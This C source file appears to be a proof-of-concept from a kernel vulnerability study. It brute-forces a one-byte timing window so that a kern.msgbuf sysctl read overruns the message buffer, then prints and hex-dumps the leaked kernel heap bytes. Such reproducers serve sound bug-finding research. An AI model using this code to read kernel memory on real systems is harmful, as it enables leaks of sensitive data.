DF-0035 / msgbuf_brute.c
/* DF-0035 — brute-force attempt to catch the OOB naturally (post-clear only). * * Strategy: hold /dev/console open and write ONE byte at a time in a tight * loop, doing a sysctl read between each byte. msg_bufr is already stale * (caller did msgbuf_clear at a moment when msg_bufx%msg_size > msg_size/2), * so when msg_bufx reaches the next msg_size boundary, branch 3 fires with * the underflow. If we hit it, the read returns > msg_size bytes. * * This is the "natural" path (no kvm_write). It tests whether the 1-byte- * wide window is catchable by pure timing on a quiet system. * * Build (root): cc -O2 -o msgbuf_brute msgbuf_brute.c * Run (root): ./msgbuf_brute (after a prior clear left msg_bufr stale) */ #include <sys/types.h> #include <sys/sysctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { unsigned long max_iters = (argc > 1) ? strtoul(argv[1], 0, 0) : 3000000UL; int cfd = open("/dev/console", O_WRONLY); if (cfd < 0) { perror("open /dev/console"); return 1; } size_t oldlen = 1U << 21; /* 2 MiB */ char *buf = malloc(oldlen); if (!buf) { perror("malloc"); return 1; } unsigned long reads = 0, hits = 0; char c = 'B'; for (unsigned long i = 0; i < max_iters; i++) { if (write(cfd, &c, 1) != 1) { perror("write"); break; } size_t l = oldlen; memset(buf, 0x5a, oldlen); if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0) continue; reads++; /* msg_size is ~1048544. Anything significantly larger is the * underflow (clipped to oldlen). */ if (l > 1100000) { hits++; printf("[!] OOB HIT #%lu: read=%zu bytes\n", hits, l); size_t bad = 0; for (size_t j = 1048544; j < l; j++) { unsigned char b = (unsigned char)buf[j]; if (b != 'B' && b != 'M' && b != 'X' && b != 'D' && b != '\n') bad++; } printf(" %zu bytes past msgbuf, %zu look like heap residue\n", l - 1048544, bad); printf(" hexdump [msgbuf+1024 .. +1088]:\n "); for (size_t j = 1048544; j < 1048544 + 64 && j < l; j++) printf("%02x", (unsigned char)buf[j]); printf("\n"); if (hits >= 3) break; } } printf("%lu iters, %lu reads, %lu OOB hits\n", max_iters, reads, hits); free(buf); close(cfd); return hits ? 0 : 2; } |